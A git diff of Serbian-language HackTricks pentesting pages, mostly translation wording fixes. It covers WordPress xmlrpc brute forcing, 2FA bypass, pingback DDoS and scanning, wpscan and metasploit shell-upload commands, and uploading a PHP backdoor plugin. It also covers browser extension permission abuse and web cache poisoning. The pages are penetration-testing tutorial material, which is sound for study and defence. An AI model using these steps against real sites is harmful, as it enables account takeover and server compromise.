pristupiti _**/xmlrpc.php**_ i poš ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Bruteforce pristupnice** +**Bruteforce pristupnicama** -**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za bruteforce pristupnica. Ako uspete da pronađete bilo koju od njih, možete poslati nešto poput: +**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za bruteforce pristupnicama. Ako uspete da pronađete bilo koju od njih, možete poslati nešto poput: ```markup wp.getUsersBlogs @@ -176,7 +176,7 @@ Da biste videli da li je aktivan, pokušajte pristupiti _**/xmlrpc.php**_ i poš ``` Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora koda 200 treba da se pojavi ako pristupni podaci nisu validni. -![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>) +![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>) ![](<../../.gitbook/assets/image (102).png>) @@ -216,12 +216,12 @@ Takođe postoji **brži način** za brute-force pristupne podatke koristeći **` **Bypass 2FA** -Ovaj metod je namenjen programima, a ne ljudima, i star je, stoga ne podržava 2FA. Dakle, ako imate validne pristupne podatke, ali je glavni ulaz zaštićen 2FA, **možda ćete moći zloupotrebiti xmlrpc.php da se prijavite sa tim pristupnim podacima zaobilazeći 2FA**. Imajte na umu da nećete moći obavljati sve radnje koje možete obavljati putem konzole, ali još uvek možete doći do RCE kako to objašnjava Ippsec u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) +Ovaj metod je namenjen programima, a ne ljudima, i star je, stoga ne podržava 2FA. Dakle, ako imate validne pristupne podatke, ali je glavni ulaz zaštićen 2FA, **možda ćete moći zloupotrebiti xmlrpc.php da se prijavite tim pristupnim podacima zaobilazeći 2FA**. Imajte na umu da nećete moći obavljati sve radnje koje možete obavljati putem konzole, ali još uvek možete doći do RCE kako to objašnjava Ippsec u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s) **DDoS ili skeniranje porta** Ako možete pronaći metod _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\ -Ovo se može koristiti da zatraži od **hiljada** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se **DDoS** izazove na toj lokaciji) ili možete koristiti da naterate **Wordpress** da **skenira** neku internu **mrežu** (možete naznačiti bilo koji port). +Ovo se može koristiti da zatražite od **hiljada** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se **DDoS** izazove na toj lokaciji) ili možete koristiti da naterate **Wordpress** da **skenira** neku internu **mrežu** (možete naznačiti bilo koji port). ```markup pingback.ping @@ -277,17 +277,17 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Dobijanje pristupa prebrisavanjem bita +## Dobijanje pristupa prebrisavanjem jednog bita -Više nego pravi napad, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste preokrenuti 1 bit bilo kog wordpress fajla. Dakle, mogli ste preokrenuti poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da biste anulirali operaciju NOT (`!`). +Više nego pravi napad, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste preokrenuti 1 bit bilo kog wordpress fajla. Tako da ste mogli preokrenuti poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da biste anulirali operaciju NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -314,7 +314,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ### PHP plugin -Moguće je da je moguće otpremiti .php datoteke kao dodatak.\ +Moguće je da je moguće učitati .php datoteke kao dodatak.\ Napravite svoj php backdoor koristeći na primer: ![](<../../.gitbook/assets/image (407).png>) @@ -323,7 +323,7 @@ Zatim dodajte novi dodatak: ![](<../../.gitbook/assets/image (409).png>) -Otpremite dodatak i pritisnite Install Now: +Učitajte dodatak i pritisnite Install Now: ![](<../../.gitbook/assets/image (411).png>) @@ -331,7 +331,7 @@ Kliknite na Procced: ![](<../../.gitbook/assets/image (412).png>) -Verovatno ovo neće izgledati kao da je urađeno ništa, ali ako odete na Media, videćete svoj shell otpremljen: +Verovatno ovo neće izgledati kao da je urađeno ništa, ali ako odete na Media, videćete da je vaš shell učitan: ![](<../../.gitbook/assets/image (413).png>) @@ -339,14 +339,14 @@ Pristupite mu i videćete URL za izvršavanje reverznog shell-a: ![](<../../.gitbook/assets/image (414).png>) -### Otpremanje i aktiviranje zlonamernog dodatka +### Učitavanje i aktiviranje zlonamernog dodatka -Ovaj metod uključuje instalaciju zlonamernog dodatka koji je poznat da je ranjiv i može biti iskorišćen za dobijanje web shell-a. Ovaj proces se sprovodi putem WordPress kontrolne table na sledeći način: +Ovaj metod uključuje instalaciju zlonamernog dodatka koji je poznat kao ranjiv i može biti iskorišćen za dobijanje web shell-a. Ovaj proces se sprovodi putem WordPress kontrolne table na sledeći način: 1. **Dobijanje dodatka**: Dodatak se dobija sa izvora poput Exploit DB kao [**ovde**](https://www.exploit-db.com/exploits/36374). 2. **Instalacija dodatka**: * Idite na WordPress kontrolnu tablu, zatim idite na `Dashboard > Plugins > Upload Plugin`. -* Otpremite zip datoteku preuzetog dodatka. +* Učitajte zip datoteku preuzetog dodatka. 3. **Aktivacija dodatka**: Kada se dodatak uspešno instalira, mora biti aktiviran putem kontrolne table. 4. **Iskorišćavanje**: * Sa dodatkom "reflex-gallery" instaliranim i aktiviranim, može biti iskorišćen jer je poznato da je ranjiv. @@ -369,7 +369,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Zaštita WordPress-a -### Redovna Ažuriranja +### Redovno ažuriranje Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php datoteci: ```bash @@ -393,7 +393,7 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**. * **Ograničite pokušaje prijave** kako biste sprečili napade Brute Force * Preimenujte datoteku **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa. -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete tokove rada** uz pomoć najnaprednijih alata zajednice na svetu.\ @@ -410,7 +410,7 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index c75dc7a30..75686215c 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -24,7 +24,7 @@ Prethodni manifest deklariše da proširenje zahteva dozvolu `storage`. Ovo zna Proširenje će zatražiti dozvole navedene u svom **`manifest.json`** fajlu i Nakon instaliranja proširenja, uvek možete **proveriti njegove dozvole u svom browseru**, kao što je prikazano na ovoj slici: -
+
Možete pronaći [**kompletan spisak dozvola koje Chromium Browser Extension može zatražiti ovde**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) i [**kompletan spisak za Firefox ekstenzije ovde**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** @@ -55,7 +55,7 @@ Ovo su domaćini kojima proširenje pregledača može slobodno pristupiti. To je ### Tabovi -Osim toga, **`host_permissions`** takođe otključavaju "napredne" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funkcionalnosti**. Dozvoljavaju proširenju da pozove [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) i ne samo da dobije **listu korisničkih tabova pregledača** već i sazna koje **web stranice (značenje adrese i naslova) su učitane**. +Osim toga, **`host_permissions`** takođe otključavaju "napredno" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funkcionalnosti**. Dozvoljavaju proširenju da pozove [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) i ne samo da dobije **listu korisničkih tabova pregledača** već i sazna koje **web stranice (znači adresu i naslov) su učitane**. {% hint style="danger" %} Nije samo to, slušači poput [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) takođe postaju mnogo korisniji. Biće obavešteni svaki put kada se nova stranica učita u tab. @@ -68,12 +68,12 @@ Skripte sadržaja nisu nužno statički napisane u manifestu proširenja. Sa dov Oba API-ja omogućavaju izvršavanje ne samo datoteka sadržanih u proširenjima kao skripte sadržaja već i **proizvoljnog koda**. Prvi omogućava prosleđivanje JavaScript koda kao string dok drugi očekuje JavaScript funkciju koja je manje podložna ranjivostima ubacivanja. Ipak, oba API-ja će napraviti haos ako se zloupotrebe. {% hint style="danger" %} -Pored gore navedenih mogućnosti, skripte sadržaja na primer mogu **presresti akreditive** dok se unose na web stranice. Još jedan klasičan način zloupotrebe je **ubacivanje reklama** na svaku web lokaciju. Dodavanje **prevara poruka** za zloupotrebu kredibiliteta vesti takođe je moguće. Na kraju, mogu **manipulisati bankarskim** web lokacijama kako bi preusmerili novčane transfere. +Pored gore navedenih mogućnosti, skripte sadržaja na primer mogu **interceptovati akreditive** dok se unose na web stranice. Još jedan klasičan način zloupotrebe je **ubacivanje reklama** na svaku web lokaciju. Dodavanje **prevara poruka** za zloupotrebu kredibiliteta vesti je takođe moguće. Na kraju, mogu **manipulisati bankarskim** web lokacijama kako bi preusmerile novčane transfere. {% endhint %} ### Implicitne privilegije -Neki privilegije proširenja **ne moraju biti eksplicitno deklarisane**. Jedan primer je [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): njegova osnovna funkcionalnost je dostupna bez ikakvih privilegija. Svako proširenje može biti obavešteno kada otvorite i zatvorite tabove, jednostavno neće znati sa kojom web lokacijom se ti tabovi odnose. +Neki privilegiji proširenja **ne moraju biti eksplicitno deklarisani**. Jedan primer je [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): njegova osnovna funkcionalnost je dostupna bez ikakvih privilegija. Svako proširenje može biti obavešteno kada otvorite i zatvorite tabove, jednostavno neće znati sa kojom web lokacijom se ti tabovi odnose. Zvuči previše bezopasno? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) je nešto manje bezopasan. Može se koristiti za **kreiranje novog taba**, suštinski isto kao [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) koji može biti pozvan od strane bilo koje web lokacije. Ipak, dok je `window.open()` podložan **blokatoru iskačućih prozora, `tabs.create()` nije**. @@ -81,13 +81,13 @@ Zvuči previše bezopasno? [tabs.create() API](https://developer.mozilla.org/en- Proširenje može kreirati bilo koji broj tabova kad god želi. {% endhint %} -Ako pogledate moguće parametre `tabs.create()`, primetićete da njegove mogućnosti idu daleko iznad onoga što je `window.open()` dozvoljeno da kontroliše. I dok Firefox ne dozvoljava korišćenje `data:` URI-ja sa ovim API-jem, Chrome nema takvu zaštitu. **Korišćenje takvih URI-ja na najvišem nivou je** [**zabranjeno zbog zloupotrebe za ribarenje**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.** +Ako pogledate moguće parametre `tabs.create()`, primetićete da njegove mogućnosti daleko premašuju ono što je `window.open()` dozvoljeno da kontroliše. I dok Firefox ne dozvoljava korišćenje `data:` URI-ja sa ovim API-jem, Chrome nema takvu zaštitu. **Korišćenje takvih URI-ja na najvišem nivou je** [**zabranjeno zbog zloupotrebe za ribarenje**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.** [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) je vrlo sličan `tabs.create()` ali će **modifikovati postojeći tab**. Dakle, zlonamerno proširenje na primer može proizvoljno učitati stranicu sa reklamama u jedan od vaših tabova, i može aktivirati odgovarajući tab takođe. ### Veb kamera, geolokacija i prijatelji -Verovatno znate da web lokacije mogu zatražiti posebne dozvole, na primer za pristup vašoj veb kameri (alati za video konferencije) ili geografskoj lokaciji (mapi). To su funkcije sa značajnim potencijalom za zloupotrebu, pa korisnici svaki put moraju potvrditi da to i dalje žele. +Verovatno znate da web lokacije mogu zatražiti posebne dozvole, na primer za pristup vašoj veb kameri (alati za video konferencije) ili geografskoj lokaciji (mape). To su funkcije sa značajnim potencijalom za zloupotrebu, pa korisnici svaki put moraju potvrditi da to i dalje žele. {% hint style="danger" %} Nije tako sa proširenjima pregledača. **Ako proširenje pregledača** [**želi pristup vašoj veb kameri ili mikrofonu**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, potrebno je samo jednom zatražiti dozvolu** @@ -95,9 +95,9 @@ Nije tako sa proširenjima pregledača. **Ako proširenje pregledača** [**želi Tipično, proširenje će to učiniti odmah nakon instalacije. Nakon što se ovaj dijalog prihvati, **pristup veb kameri je moguć u bilo koje vreme**, čak i ako korisnik nije interaktivan sa proširenjem u tom trenutku. Da, korisnik će prihvatiti ovaj dijalog samo ako proširenje zaista treba pristup veb kameri. Ali nakon toga moraju da veruju proširenju da ne snima ništa tajno. -Sa pristupom [vašoj tačnoj geografskoj lokaciji](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ili [sadržaju vašeg clipboard-a](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API), eksplicitno odobrenje nije potrebno. **Proširenje jednostavno dodaje `geolocation` ili `clipboard` u** [**ulaz dozvola**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **svog manifesta**. Ovi pristupni privilegiji se zatim implicitno dodeljuju prilikom instalacije proširenja. Dakle, zlonamerno ili kompromitovano proširenje sa ovim privilegijama može kreirati vaš profil kretanja ili pratiti vaš clipboard za kopirane lozinke bez da primetite bilo šta. +Sa pristupom [vašoj tačnoj geografskoj lokaciji](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ili [sadržaju vašeg clipboard-a](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API), eksplicitno odobravanje dozvole nije potrebno uopšte. **Proširenje jednostavno dodaje `geolocation` ili `clipboard` u** [**unos dozvola**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **svog manifesta**. Ovi pristupni privilegiji se zatim implicitno odobravaju prilikom instalacije proširenja. Dakle, zlonamerno ili kompromitovano proširenje sa ovim privilegijama može kreirati vaš profil kretanja ili pratiti vaš clipboard za kopirane lozinke bez da primetite bilo šta. -Dodavanje ključne reči **`history`** u [ulaz dozvola](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) manifesta proširenja dodeljuje **pristup** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). To omogućava dobijanje celokupne istorije pregledanja korisnika odjednom, bez čekanja da korisnik ponovo poseti ove web lokacije. +Dodavanje ključne reči **`history`** u [unos dozvola](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) manifesta proširenja omogućava **pristup** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). To omogućava dobijanje celokupne istorije pregledanja korisnika odjednom, bez čekanja da korisnik ponovo poseti ove web lokacije. Dozvola **`bookmarks`** ima sličan potencijal za zloupotrebu, ova dozvola omogućava **čitanje svih obeleživača putem** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). @@ -113,11 +113,11 @@ Možete pronaći [**kompletan spisak dozvola koje Chromium Browser Extension mo ## Prevencija -Politika Google-ovog razvojnog tima eksplicitno zabranjuje proširenjima da traže više privilegija nego što je potrebno za njihovu funkcionalnost, efikasno umanjujući prekomerne zahteve za dozvolama. Primer gde je proširenje pregledača prekoračilo ovu granicu uključivao je njegovu distribuciju sa samim pregledačem umesto preko prodavnice dodataka. +Politika Google-ovog razvojnog tima eksplicitno zabranjuje proširenjima da traže više privilegija nego što je potrebno za njihovu funkcionalnost, efikasno umanjujući prekomerne zahteve za dozvolama. Primer gde je proširenje pregledača prekoračilo ovu granicu uključivao je njegovu distribuciju sa samim pregledačem umesto putem prodavnice dodataka. -Pregledači bi mogli dodatno ograničiti zloupotrebu privilegija proširenja. Na primer, Chrome-ovi [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) i [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API-ji, korišćeni za snimanje ekrana, dizajnirani su da minimiziraju zloupotrebu. TabCapture API može biti aktiviran samo putem direktnog korisničkog interakcije, kao što je klik na ikonu proširenja, dok desktopCapture zahteva potvrdu korisnika da bi prozor bio snimljen, sprečavajući tajno snimanje aktivnosti. +Pregledači bi mogli dalje ograničiti zloupotrebu privilegija proširenja. Na primer, Chrome-ovi [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) i [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API-ji, korišćeni za snimanje ekrana, dizajnirani su da minimiziraju zloupotrebu. TabCapture API može biti aktiviran samo putem direktnog korisničkog interakcije, kao što je klik na ikonu proširenja, dok desktopCapture zahteva potvrdu korisnika da bi prozor bio snimljen, sprečavajući tajno snimanje aktivnosti. -Međutim, pooštravanje mera bezbednosti često rezultira smanjenom fleksibilnošću i korisničkom prijateljskošću proširenja. [activeTab dozvola](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) ilustruje ovu kompromis. Uvedena je kako bi se eliminisala potreba za proširenjima da traže privilegije domaćina širom interneta, omogućavajući proširenjima pristup samo trenutnom tabu prilikom eksplicitne aktivacije od strane korisnika. Ovaj model je efikasan za proširenja koja zahtevaju akcije inicirane od strane korisnika, ali nije dovoljan za ona koja zahtevaju automatske ili preventivne akcije, time kompromitujući praktičnost i trenutnu odzivnost. +Međutim, pooštravanje mera bezbednosti često rezultira smanjenom fleksibilnošću i korisničkom prijateljskošću proširenja. Dozvola [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) ilustruje ovu kompromis. Uvedena je kako bi se eliminisala potreba za proširenjima da traže privilegije domaćina širom interneta, omogućavajući proširenjima pristup samo trenutnom tabu prilikom eksplicitne aktivacije od strane korisnika. Ovaj model je efikasan za proširenja koja zahtevaju akcije inicirane od strane korisnika, ali nije dovoljan za ona koja zahtevaju automatske ili preventivne akcije, time kompromitujući praktičnost i trenutnu odzivnost. ## **Reference** * [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) @@ -129,7 +129,7 @@ Međutim, pooštravanje mera bezbednosti često rezultira smanjenom fleksibilno Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 91cb0befc..118e3f15c 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -8,36 +8,36 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ -Dobijte pristup danas: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete tokove rada** pokretane najnaprednijim alatima zajednice na svetu.\ +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Razlika -> **Koja je razlika između trovanja keša veb stranica i prevara keša veb stranica?** +> **Koja je razlika između trovanja keša na vebu i prevare keša na vebu?** > -> * U **trovanju keša veb stranica**, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije. -> * U **prevari keša veb stranica**, napadač uzrokuje da aplikacija sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima ovaj sadržaj iz keša. +> * U **trovanju keša na vebu**, napadač uzrokuje da aplikacija sačuva zlonamerni sadržaj u kešu, a ovaj sadržaj se servira iz keša drugim korisnicima aplikacije. +> * U **prevari keša na vebu**, napadač uzrokuje da aplikacija sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzima taj sadržaj iz keša. ## Trovanje keša -Trovanje keša ima za cilj manipulisanje kešom na strani klijenta kako bi se naterali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer zaraženi odgovor se servira isključivo korisnicima koji posećuju stranicu tokom perioda zagađenja keša. +Trovanje keša ima za cilj manipulisanje kešom na strani klijenta kako bi se naterali klijenti da učitavaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer zagađeni odgovor se servira isključivo korisnicima koji posećuju stranicu tokom perioda zagađenja keša. Izvođenje napada trovanja keša uključuje nekoliko koraka: -1. **Identifikacija neindeksiranih ulaza**: To su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji vraća server. Identifikacija ovih ulaza je ključna jer mogu biti iskorišćeni za manipulaciju keša. -2. **Iskorišćavanje neindeksiranih ulaza**: Nakon identifikacije neindeksiranih ulaza, sledeći korak je saznati kako iskoristiti ove parametre da se izmeni odgovor servera na način koji koristi napadaču. -3. **Osiguravanje da je zaraženi odgovor keširan**: Poslednji korak je osigurati da je manipulisani odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš zagađen će dobiti zaraženi odgovor. +1. **Identifikacija neindeksiranih ulaza**: To su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji vraća server. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom. +2. **Iskorišćavanje neindeksiranih ulaza**: Nakon identifikacije neindeksiranih ulaza, sledeći korak je saznati kako zloupotrebiti ove parametre kako bi se izmenio odgovor servera na način koji koristi napadaču. +3. **Osiguravanje da je zagađeni odgovor keširan**: Poslednji korak je osigurati da je manipulisani odgovor sačuvan u kešu. Na ovaj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš zagađen će dobiti zagađeni odgovor. ### Otkrivanje: Provera HTTP zaglavlja @@ -45,9 +45,9 @@ Obično, kada je odgovor **sačuvan u kešu**, postoji **zaglavlje koje to pokaz ### Otkrivanje: Keširanje koda 400 -Ako sumnjate da se odgovor čuva u kešu, možete pokušati da **pošaljete zahteve sa lošim zaglavljem**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu na uobičajen način i ako je **odgovor status kod 400**, znate da je ranjiv (i čak možete izvesti DoS).\ +Ako sumnjate da se odgovor čuva u kešu, možete pokušati **slati zahteve sa lošim zaglavljima**, na koje bi trebalo da se odgovori sa **status kodom 400**. Zatim pokušajte da pristupite zahtevu na uobičajen način i ako je **odgovor status kod 400**, znate da je ranjiv (i čak biste mogli izvesti DoS).\ Loše konfigurisano zaglavlje može biti samo `\:` kao zaglavlje.\ -_Napomena da ponekad ovi tipovi statusnih kodova nisu keširani pa će ovaj test biti beskoristan._ +_Napomena da se ponekad ovi tipovi statusnih kodova ne keširaju pa će ovaj test biti beskoristan._ ### Otkrivanje: Identifikacija i procena neindeksiranih ulaza @@ -61,7 +61,7 @@ Sa identifikovanim parametrom/headerom proverite kako se **filtrira** i **gde** ### Dobijanje keširanog odgovora -Kada ste **identifikovali** **stranicu** koja može biti zloupotrebljena, koji **parametar**/**header** koristiti i **kako** ga zloupotrebiti, trebate dobiti keširanu stranicu. Zavisno od resursa koji pokušavate dobiti u kešu, ovo može potrajati neko vreme, možda ćete morati pokušavati nekoliko sekundi.\ +Kada ste **identifikovali** **stranicu** koja može biti zloupotrebljena, koji **parametar**/**header** koristiti i **kako** ga **zloupotrebiti**, trebate dobiti stranicu keširanu. Zavisno od resursa koji pokušavate dobiti u kešu, ovo može potrajati neko vreme, možda ćete morati pokušavati nekoliko sekundi.\ Header **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije bio keširan i vrednost **`hit`** kada je keširan.\ Header **`Cache-Control`** je takođe interesantan kako biste znali da li se resurs kešira i kada će sledeći 